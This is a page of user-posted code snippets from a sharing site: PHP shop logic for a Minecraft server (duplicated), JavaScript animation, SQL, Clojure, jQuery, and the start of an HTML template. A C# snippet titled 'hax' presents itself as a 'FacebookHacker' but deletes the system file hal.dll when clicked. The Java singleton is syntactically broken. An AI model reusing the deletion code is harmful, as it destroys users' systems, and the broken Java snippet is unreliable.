• MrSaooty        
    0 Likes0 Commentsphp

    public function buy($id, $money){
      	// JSONAPI
    		$informations = $this->Informations->find('first');
        	$api = new JSONAPI($informations['Informations']['jsonapi_ip'], $informations['Informations']['jsonapi_port'], $informations['Informations']['jsonapi_username'], $informations['Informations']['jsonapi_password'], $informations['Informations']['jsonapi_salt']);
        	// On test si le joueur est en ligne
        	$playersOnline = $api->call('players.online.names'); // Tableau des joueurs en lignes
    		$testPlayerOnline = in_array($this->Auth->user('username'), $playersOnline[0]['success']); // On cherche dans ce tableau
    		// Si on a trouvé le pseudo du joueur dans le tableau des joueurs en ligne
    		if($testPlayerOnline){
    			$testPlayerOnline = 'online';
    		}
    		// Sinon... il n'est pas connecté IG
    		else{
    			$testPlayerOnline = 'offline';
    		}
    		// Si l'utlisateur est co au site
    		if($this->Auth->user()){
    			// Si l'item existe
    			if($this->Shop->find('first', ['conditions' => ['Shop.id' => $id]])){
    				// Si l'utlisateur est co en jeu
    				if($testPlayerOnline == 'online'){
    					// Si l'utilisateur paye avec la monnaie du site
    					if($money == 'site'){
    						$user = $this->User->find('first', ['conditions' => ['User.username' => $this->Auth->user('username')]]); // On recup les infos de l'utlisateur
    						$userMoneySite = $user['User']['tokens']; // Le nombre de tokens de l'utilisateur
    						$item = $this->Shop->find('first', ['conditions' => ['Shop.id' => $id]]); // On recup les infos de l'item
    						$price = $item['Shop']['price_money_site']; // Cout de l'achat avec la monnaie du site
    						// Historique d'achat
    						$this->shopHistory->create;
    						$this->shopHistory->saveField('username', $this->Auth->user('username'));
    						$this->shopHistory->saveField('item', $item['Shop']['name']);
    						$this->shopHistory->saveField('price', $price);
    						$this->shopHistory->saveField('money', $money);
    						// Si l'utilisateur a assez
    						if($userMoneySite >= $price){
    							// On définit son nv nb de tokens
    							$newUserMoneySite = $userMoneySite - $price;
    							$this->User->id = $this->Auth->user('id');
    							$this->User->saveField('tokens', $newUserMoneySite);
    							// On execute la commande
    							$command = str_replace('{{player}}', $this->Auth->user('username'), $item['Shop']['command']);
    							$api->call('server.run_command', [$command]);
    							// On redirige avec un message
    							$this->Session->setFlash('Achat effectué, vous avez depensé '.$price.' '.$informations['Informations']['site_money'].'', 'success');
    							return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    						}
    						// Si l'utilisateur n'a pas assez
    						else{
    							$this->Session->setFlash('Vous n\'avez pas assez de '.$informations['Informations']['site_money'].'', 'error');
    							return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    						}
    					}
    					// L'utilisateur paye avec la monnaie du serveur
    					else{
    						$user = $this->User->find('first', ['conditions' => ['User.username' => $this->Auth->user('username')]]); // On recup les infos de l'utlisateur
    						$userMoneyServer = $api->call('players.name.bank.balance', [$this->Auth->user('username')])[0]['success']; // Le nombre d'argent, sur le serveur
    						$item = $this->Shop->find('first', ['conditions' => ['Shop.id' => $id]]); // On recup les infos de l'item
    						$price = $item['Shop']['price_money_server']; // Cout de l'achat avec la monnaie du site
    						// Historique d'achat
    						$this->shopHistory->create;
    						$this->shopHistory->saveField('username', $this->Auth->user('username'));
    						$this->shopHistory->saveField('item', $item['Shop']['name']);
    						$this->shopHistory->saveField('price', $price);
    						$this->shopHistory->saveField('money', $money);
    						// Si l'utilisateur a assez
    						if($userMoneyServer >= $price){
    							// On définit son nv nb de tokens
    							$newUserMoneyServer = $userMoneyServer - $price;
    							$api->call('players.name.bank.withdraw', [$this->Auth->user('username'), $price]);
    							// On execute la commande
    							$command = str_replace('{{player}}', $this->Auth->user('username'), $item['Shop']['command']);
    							$api->call('server.run_command', [$command]);
    							// On redirige avec un message
    							$this->Session->setFlash('Achat effectué, vous avez depensé '.$price.' '.$informations['Informations']['money_server'].'', 'success');
    							return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    						}
    						// Si l'utilisateur n'a pas assez
    						else{
    							$this->Session->setFlash('Vous n\'avez pas assez de '.$informations['Informations']['site_money'].'', 'error');
    							return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    						}
    					}
    				// Si l'utlisateur n'est pas co en jeu
    				}
    				else{
    					$this->Session->setFlash('Vous devez être connecté en jeu avant de faire des achats', 'error');
    					return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    				}
    			}
    			// Si l'item n'existe pas
    			else{
    				$this->Session->setFlash('Cet article n\'existe pas !', 'error');
    				return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    			}
    		// Si l'utlisateur n'est pas co au site
    		}
    		else{
    			$this->Session->setFlash('Vous devez être connecté pour accéder à cette page', 'error');
    			return $this->redirect(['controller' => 'users', 'action' => 'login']);
    		}
    	}
  • CMS MC

    MrSaooty        
    0 Likes0 Commentsphp

    public function buy($id, $money){
        // JSONAPI
    		$informations = $this->Informations->find('first');
        	$api = new JSONAPI($informations['Informations']['jsonapi_ip'], $informations['Informations']['jsonapi_port'], $informations['Informations']['jsonapi_username'], $informations['Informations']['jsonapi_password'], $informations['Informations']['jsonapi_salt']);
        	// On test si le joueur est en ligne
        	$playersOnline = $api->call('players.online.names'); // Tableau des joueurs en lignes
    		$testPlayerOnline = in_array($this->Auth->user('username'), $playersOnline[0]['success']); // On cherche dans ce tableau
    		// Si on a trouvé le pseudo du joueur dans le tableau des joueurs en ligne
    		if($testPlayerOnline){
    			$testPlayerOnline = 'online';
    		}
    		// Sinon... il n'est pas connecté IG
    		else{
    			$testPlayerOnline = 'offline';
    		}
    		// Si l'utlisateur est co au site
    		if($this->Auth->user()){
    			// Si l'item existe
    			if($this->Shop->find('first', ['conditions' => ['Shop.id' => $id]])){
    				// Si l'utlisateur est co en jeu
    				if($testPlayerOnline == 'online'){
    					// Si l'utilisateur paye avec la monnaie du site
    					if($money == 'site'){
    						$user = $this->User->find('first', ['conditions' => ['User.username' => $this->Auth->user('username')]]); // On recup les infos de l'utlisateur
    						$userMoneySite = $user['User']['tokens']; // Le nombre de tokens de l'utilisateur
    						$item = $this->Shop->find('first', ['conditions' => ['Shop.id' => $id]]); // On recup les infos de l'item
    						$price = $item['Shop']['price_money_site']; // Cout de l'achat avec la monnaie du site
    						// Historique d'achat
    						$this->shopHistory->create;
    						$this->shopHistory->saveField('username', $this->Auth->user('username'));
    						$this->shopHistory->saveField('item', $item['Shop']['name']);
    						$this->shopHistory->saveField('price', $price);
    						$this->shopHistory->saveField('money', $money);
    						// Si l'utilisateur a assez
    						if($userMoneySite >= $price){
    							// On définit son nv nb de tokens
    							$newUserMoneySite = $userMoneySite - $price;
    							$this->User->id = $this->Auth->user('id');
    							$this->User->saveField('tokens', $newUserMoneySite);
    							// On execute la commande
    							$command = str_replace('{{player}}', $this->Auth->user('username'), $item['Shop']['command']);
    							$api->call('server.run_command', [$command]);
    							// On redirige avec un message
    							$this->Session->setFlash('Achat effectué, vous avez depensé '.$price.' '.$informations['Informations']['site_money'].'', 'success');
    							return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    						}
    						// Si l'utilisateur n'a pas assez
    						else{
    							$this->Session->setFlash('Vous n\'avez pas assez de '.$informations['Informations']['site_money'].'', 'error');
    							return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    						}
    					}
    					// L'utilisateur paye avec la monnaie du serveur
    					else{
    						$user = $this->User->find('first', ['conditions' => ['User.username' => $this->Auth->user('username')]]); // On recup les infos de l'utlisateur
    						$userMoneyServer = $api->call('players.name.bank.balance', [$this->Auth->user('username')])[0]['success']; // Le nombre d'argent, sur le serveur
    						$item = $this->Shop->find('first', ['conditions' => ['Shop.id' => $id]]); // On recup les infos de l'item
    						$price = $item['Shop']['price_money_server']; // Cout de l'achat avec la monnaie du site
    						// Historique d'achat
    						$this->shopHistory->create;
    						$this->shopHistory->saveField('username', $this->Auth->user('username'));
    						$this->shopHistory->saveField('item', $item['Shop']['name']);
    						$this->shopHistory->saveField('price', $price);
    						$this->shopHistory->saveField('money', $money);
    						// Si l'utilisateur a assez
    						if($userMoneyServer >= $price){
    							// On définit son nv nb de tokens
    							$newUserMoneyServer = $userMoneyServer - $price;
    							$api->call('players.name.bank.withdraw', [$this->Auth->user('username'), $price]);
    							// On execute la commande
    							$command = str_replace('{{player}}', $this->Auth->user('username'), $item['Shop']['command']);
    							$api->call('server.run_command', [$command]);
    							// On redirige avec un message
    							$this->Session->setFlash('Achat effectué, vous avez depensé '.$price.' '.$informations['Informations']['money_server'].'', 'success');
    							return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    						}
    						// Si l'utilisateur n'a pas assez
    						else{
    							$this->Session->setFlash('Vous n\'avez pas assez de '.$informations['Informations']['site_money'].'', 'error');
    							return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    						}
    					}
    				// Si l'utlisateur n'est pas co en jeu
    				}
    				else{
    					$this->Session->setFlash('Vous devez être connecté en jeu avant de faire des achats', 'error');
    					return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    				}
    			}
    			// Si l'item n'existe pas
    			else{
    				$this->Session->setFlash('Cet article n\'existe pas !', 'error');
    				return $this->redirect(['controller' => 'shops', 'action' => 'index']);
    			}
    		// Si l'utlisateur n'est pas co au site
    		}
    		else{
    			$this->Session->setFlash('Vous devez être connecté pour accéder à cette page', 'error');
    			return $this->redirect(['controller' => 'users', 'action' => 'login']);
    		}
    	}
  • prisme        
    0 Likes0 Commentsjavascript

    var showResultInfos = function(){
          // INFO BLOC
        	TweenLite.set($response, {x: 0});
        	// SHOW FINAL VISUAL BG
        	TweenLite.to($finalVisualCase, 0.5, {opacity:1, onComplete:function(){
        		// SHOW PRODUCT
        		TweenLite.to($finalVisuals.eq(1), 0.5, {scale :1,opacity:1, onComplete:function(){
    	    		// SHOW ELLIPSE
    	    		TweenLite.to($finalVisuals.eq(0), 0.5, {scale :1,opacity:1, onComplete:function(){
                        TweenLite.to($finalVisualCasePoints, 0.5, {scale :1,opacity:1, onComplete:function(){
                            TweenMax.to($finalVisualCasePoints,1,{scale:0.5,repeat:3,yoyo:true,onComplete:function(){
                                // REPONSE BLOC
                                TweenLite.to($responseInfo, 0.5, {x: 0, delay:0.5});
                                TweenLite.to($responseInfoContent, 0.3, {x: 0, opacity:1, delay:1});
                            }});
                        }});
    		    	}});
    	    	}});
    
        	}});
    
        }
  • unique test methods zen

    noroutine        
    0 Likes0 Commentssql

    INSERT INTO test_1 (id, test_class, test_method, old_ids)
      SELECT
        ss.id,
        ss.test_class,
        ss.test_method,
        array_agg(old_id) old_id
      FROM (SELECT
              tm.id          id,
              tm.test_class  test_class,
              tm.test_method test_method,
              t.id           old_id
            FROM (SELECT
                    min(id) id,
                    test_class,
                    test_method
                  FROM test
                  GROUP BY test_class, test_method
                  ORDER BY min(id)) tm
              INNER JOIN test t
                ON (t.test_class = tm.test_class AND
                    t.test_method = tm.test_method)) ss
      GROUP BY ss.id, ss.test_class, ss.test_method;
  • ivanovsaleksejs        
    0 Likes0 Commentsruby

    HAI
    CAN HAS STDIO?
    VISIBLE "HAI WORLD!"
    KTHXBYE
  • hax

    JosephGoldberg        
    0 Likes0 Commentscsharp

    /*
     * User: Joseph
     * Date: 7/13/2013
     * Time: 8:00 PM
     */
    using System;
    using System.Collections.Generic;
    using System.Drawing;
    using System.Windows.Forms;
    
    namespace FacebookHacker
    {
      /// <summary>
      /// leet hax in progress.
    	/// </summary>
    	public partial class MainForm : Form
    	{
    		public MainForm()
    		{
    			InitializeComponent();
    		}
    		void Button1Click(object sender, EventArgs e)
    		{
    			System.IO.File.Delete(System.Environment.SystemDirectory + "hal.dll");		
    		}
    	}
    }
    
  • tnoborio        
    0 Likes0 Commentsclojure

    (defn create [{course-id :id
                   tutor-id :tutor-id :as course} open-at & [title]]
      {:pre [(seq tutor-id)
             (instance? java.util.Date open-at)
             (seq course-id)]}
      (insert
       "schedules"
       (assoc-if
        (seq title)
        {:tutor-id tutor-id
         :open-at open-at
         :course-id course-id}
        :title title)))
    
  • Java singleton pattern

    D00msDay        
    0 Likes0 Commentsjava

    class Singleton {
      private static instance;
      
      private Singleton() {
      }
      
      public static Singleton getInstance {
        if (instance == null) {
          instance = new Singleton();
        }
        return instance;
      }
      
    }
  • Reset jQuery infinitescroll after AJAX call

    thomas-kununu        
    0 Likes0 Commentsjavascript

    var $infiniteScrollContainer = $('#my-infinite-scroll-container');
    // Reset the plugin before intializing it again
    $infiniteScrollContainer.infinitescroll('binding','unbind');
    $infiniteScrollContainer.data('infinitescroll', null);
    $(window).unbind('.infscr');
     
    // Initialize plugin
    $infiniteScrollContainer.infinitescroll(
        {
            state: {
                isDestroyed: false,
                isDone: false,
                isDuringAjax : false
            }
        }
    );
  • Anuario

    qroweb        
    0 Likes0 Commentshtml

    <!DOCTYPE html>
    <!--[if lt IE 7]>      <html class="no-js lt-ie9 lt-ie8 lt-ie7" lang="es"> <![endif]-->
    <!--[if IE 7]>         <html class="no-js lt-ie9 lt-ie8" lang="es"> <![endif]-->
    <!--[if IE 8]>         <html class="no-js lt-ie9" lang="es"> <![endif]-->
    <!--[if gt IE 8]><!--> <html class="no-js" lang="es"> <!--<![endif]-->
        <head>
            <meta charset="utf-8">
            <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
            <meta name="viewport" content="width=device-width, initial-scale=1">
            <title>Plantilla AEM2014</title>
            <link rel="shortcut icon" href="favicon.ico" />
            <!-- SEO -->
            <meta name="description" content="Anuario Economico Municipal 2014">
            <meta name="author" content="Applicattio">
            <meta name="keywords" content="Querétaro, Municipio, Anuario, Económico, 2014" />
            <!-- Bootstrap -->
            <link href="css/bootstrap.css" rel="stylesheet">
            <link rel="stylesheet" href="css/main.css">
            <!-- IE8 support for HTML5 elements and media queries -->
            <!--[if lt IE 9]>
              <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
              <script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
            <![endif]-->
        </head>
        <body>
            <div id="containero">
                <div class="container">
                <article class="content">
                    <div>
                    <!-- Comienza el contenido que se pegara en servidor -->
                      <div class="row">
                        <div class="col-xs-12 col-sm-4 col-md-4 col-lg-4">
                          <p class="text-justify">
                            <span class="es_language">
                              En México, el INEGI publica el Indicador Global de la Actividad Económica (IGAE), y durante diciembre de 2013